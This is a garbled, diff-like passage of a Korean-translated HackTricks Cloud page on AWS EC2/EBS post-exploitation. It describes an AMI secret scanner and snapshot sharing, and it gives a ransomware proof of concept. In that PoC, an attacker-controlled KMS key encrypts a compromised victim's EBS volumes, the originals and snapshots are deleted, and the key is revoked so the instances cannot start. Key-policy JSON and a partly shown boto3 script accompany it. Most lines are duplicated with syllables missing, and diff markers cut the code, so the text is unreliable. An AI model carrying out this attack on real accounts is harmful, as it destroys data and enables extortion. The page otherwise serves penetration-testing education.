- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel는 **공개 또는 비공개 Amazon Machine Images (AMIs) 내에서 민감한 정보를 검색**하도록 설계된 도구입니다. 대상 AMIs로부터 인스턴스를 시작하고, 해당 볼륨을 마운트하며, 잠재적인 secrets 또는 민감한 데이터를 스캔하는 과정을 자동화합니다.
### EBS Snapshot 공유
```bash
@@ -313,9 +313,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
```
### EBS Ransomware PoC
S3 post-exploitation notes에 있는 Ransomware 데모와 유사한 개념 증명입니다. KMS는 다양한 AWS 서비스를 암호화하는데 이렇게 쉽게 사용할 수 있기 때문에 Ransomware Management Service(RMS)로 이름을 바꿔야 합니다.
S3 post-exploitation notes에 있는 Ransomware 데모와 유사한 PoC이다. KMS는 이를 사용해 다양한 AWS 서비스를 쉽게 암호화할 수 있으므로 Ransomware Management Service(RMS)로 이름을 바꿔야 다.
먼저 'attacker' AWS 계정에서 KMS에 customer managed key를 생성합니다. 이 예에서는 AWS가 키 데이터를 관리하도록 두지만, 현실적인 시나리오에서는 악의적 행위자가 AWS의 통제를 벗어나 키 데이터를 보할 것입니다. 키 정책을 변경하여 모든 AWS 계정 Principal이 키를 사용도록 허용합니다. 이 키 정책에서 계정 이름은 'AttackSim'이었고, 모든 접근을 허용하는 정책 규칙은 'Outside Encryption'이라고 불립니다.
먼저 'attacker' AWS 계정에서 KMS에 customer managed key를 생성다. 이 예에서는 AWS가 키 데이터를 관리하도록 두지만, 현실적인 시나리오에서는 악 행위자가 키 데이터를 AWS의 제어 밖에서할 것다. 키 정책을 변경하여 모든 AWS 계정 Principal이 키를 사용할 수 있도록 허용다. 이 키 정책의 경우 계정 이름은 'AttackSim'이었고, 모든 접근을 허용하는 정책 규칙은 'Outside Encryption'이라고 불다.
```
{
"Version": "2012-10-17",
@@ -415,21 +415,21 @@ The key policy rule needs the following enabled to allow for the ability to use
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
이제 사용할 수 있는 공개 접근 가능한 키가 있습니다. 암호화되지 않은 EBS 볼륨이 연결된 몇몇 EC2 인스턴스가 실행 중인 'victim' 계정을 사용할 수 있습니다. 이 'victim' 계정의 EBS 볼륨우리가 암호화하려는 대상이며, 이 공격은 높은 권한을 가진 AWS 계정 침해된 것으로 가정 상황에서 수행됩니다.
이제 공개적으로 접근 가능한 키를 사용할 준비가 되었습니다. 암호화되지 않은 EBS 볼륨이 연결된 EC2 인스턴스들이 있는 'victim' 계정을 사용할 수 있습니다. 이 'victim' 계정의 EBS 볼륨이 암호화 대상이며, 이 공격은 고권한 AWS 계정 침해 가정 상황니다.
![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
S3 ransomware 예제와 유사하게, 이 공격은 스냅샷을 사용해 연결된 EBS 볼륨의 복사본을 생성하고, 'attacker' 계정의 공개 키를 사용해 새로 생성한 EBS 볼륨을 암호화한 다음, 원래의 EBS 볼륨들을 EC2 인스턴스에서 분리(detach)하여 삭제하, 마지막으로 새로 암호화된 EBS 볼륨을 생성하는 데 사용 스냅샷을 삭제합니다. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
S3 ransomware 예제와 유사합니다. 이 공격은 스냅샷을 사용해 연결된 EBS 볼륨의 복사본을 생성하고, 'attacker' 계정의 공개 키를 사용해 새 EBS 볼륨을 암호화한 다음, EC2 인스턴스에서 원본 EBS 볼륨을 분리하고 삭제하, 마지막으로 새로 암호화된 EBS 볼륨을 생성하는 데 사용 스냅샷을 삭제합니다. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
결과적으로 계정에는 암호화된 EBS 볼륨만 남게 됩니다.
결과 계정에는 암호화된 EBS 볼륨만 남게 됩니다.
![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
또한 스크립트래의 EBS 볼륨을 분리하고 삭제하기 위해 EC2 인스턴스들을 중지(stop)시켰다는 점에 유의하세요. 원래의 암호화되지 않은 볼륨들은 이제 사라졌습니다.
또한 주목할 점은, 스크립트 EBS 볼륨을 분리하고 삭제하기 위해 EC2 인스턴스들을 중지했다는 것입니다. 원본 비암호화 볼륨들은 이제 사라졌습니다.
![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
다음으로 'attacker' 계정의 키 정책(key policy)으로 돌아가서 키 정책에서 'Outside Encryption' 정책 규칙을 제거합니다.
다음으로, 'attacker' 계정의 key policy로 돌아가서 key policy에서 'Outside Encryption' 정책 규칙을 제거합니다.
```json
{
"Version": "2012-10-17",
@@ -500,15 +500,15 @@ S3 ransomware 예제와 유사하게, 이 공격은 스냅샷을 사용해 연
]
}
```
잠시 새로 설정한 키 정책(key policy)이 전파될 때까지 기다리세요. 그런 다음 'victim' 계정으로 돌아가 새로 암호화된 EBS 볼륨 중 하나를 연결해 보세요. 볼륨을 연결할 수 있음을 확인할 수 있습니다.
새로 설정한 key policy 전파될 때까지 잠시 기다리세요. 그런 다음 'victim' 계정으로 돌아가 새로 암호화된 EBS 볼륨 중 하나를 연결해 보세요. 볼륨을 연결할 수 있음을 확인할 수 있습니다.
![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
하지만 암호화된 EBS 볼륨로 EC2 인스턴스를 실제로 다시 시작하려고 하면 실패하 'pending' 상태에서 다시 'stopped' 상태로 영원히 돌아갑니다. 연결된 EBS 볼륨 더 이상 해당 키로 복호화할 수 없는데, 이는 키 정책이 더 이상 이를 허용하지 않기 때문입니다.
하지만 암호화된 EBS 볼륨을 연결한 상태로 EC2 인스턴스를 실제로 다시 시작하려고 하면 실패하 'pending' 상태에서 다시 'stopped' 상태로 계속 돌아갑니다. 연결된 EBS 볼륨 더 이상 key로 복호화할 수 없고, key policy가 이를 허용하지 않기 때문입니다.
![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
다음은 사용된 python 스크립트입니다. 이 스크립트는 'victim' 계정의 AWS creds와 암호화에 사용될 키의 공개 AWS ARN 값을 입력으로 받습니다. 스크립트는 대상 AWS 계정에 연결된 모든 EC2 인스턴스 모든 사용 가능한 EBS 볼륨 암호화된 복사본으로 만든 다음, 모든 EC2 인스턴스를 중지고 원본 EBS 볼륨을 분리 삭제하, 마지막으로 과정에서 사용된 모든 snapshots 삭제합니다. 그 결과 대상 'victim' 계정에는 암호화된 EBS 볼륨만 남게 됩니다. 반드시 테스트 환경에서만 이 스크립트를 사용하세요 — 파괴적이며 모든 원본 EBS 볼륨을 삭제니다. 사용된 KMS key를 사용해 이를 복구하고 snapshots을 통해 원래 상태로 복할 수 있지만, 결국 이것은 ransomware PoC임을 알려드립니다.
다음은 사용된 python script입니다. 이 스크립트는 'victim' 계정의 AWS creds와 암호화에 사용할 공개적으로 접근 가능한 AWS ARN 값을 입력으로 받습니다. 스크립트는 대상 AWS 계정 모든 EC2 인스턴스에 연결된 모든 사용 가능한 EBS 볼륨 암호화된 복사본을 생성한 다음, 모든 EC2 인스턴스를 중지시키고 원본 EBS 볼륨을 분리한 후 삭제하, 마지막으로 과정에서 사용된 모든 snapshots 삭제합니다. 이로 인해 대상 'victim' 계정에는 암호화된 EBS 볼륨만 남게 됩니다. 이 스크립트는 테스트 환경에서만 사용하세요 — 파괴적이며 모든 원본 EBS 볼륨을 삭제할 것입니다. 사용된 KMS key를 통해 스냅샷에서 복구하면 원래 상태로 복할 수 있지만, 결국 이것은 ransomware PoC임을 알려드립니다.
```
import boto3
import argparse
@@ -627,8 +627,10 @@ main()
```
## 참고자료
- [Latacora - ECS on EC2: IMDS 하드닝의 격차 보완](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
- <https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs>
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
- [Pentest Partners AWS에서 SSM을 사용하여 파일 전송하는 방법](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
- [Pentest Partners How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
{{#include ../../../../banners/hacktricks-training.md}}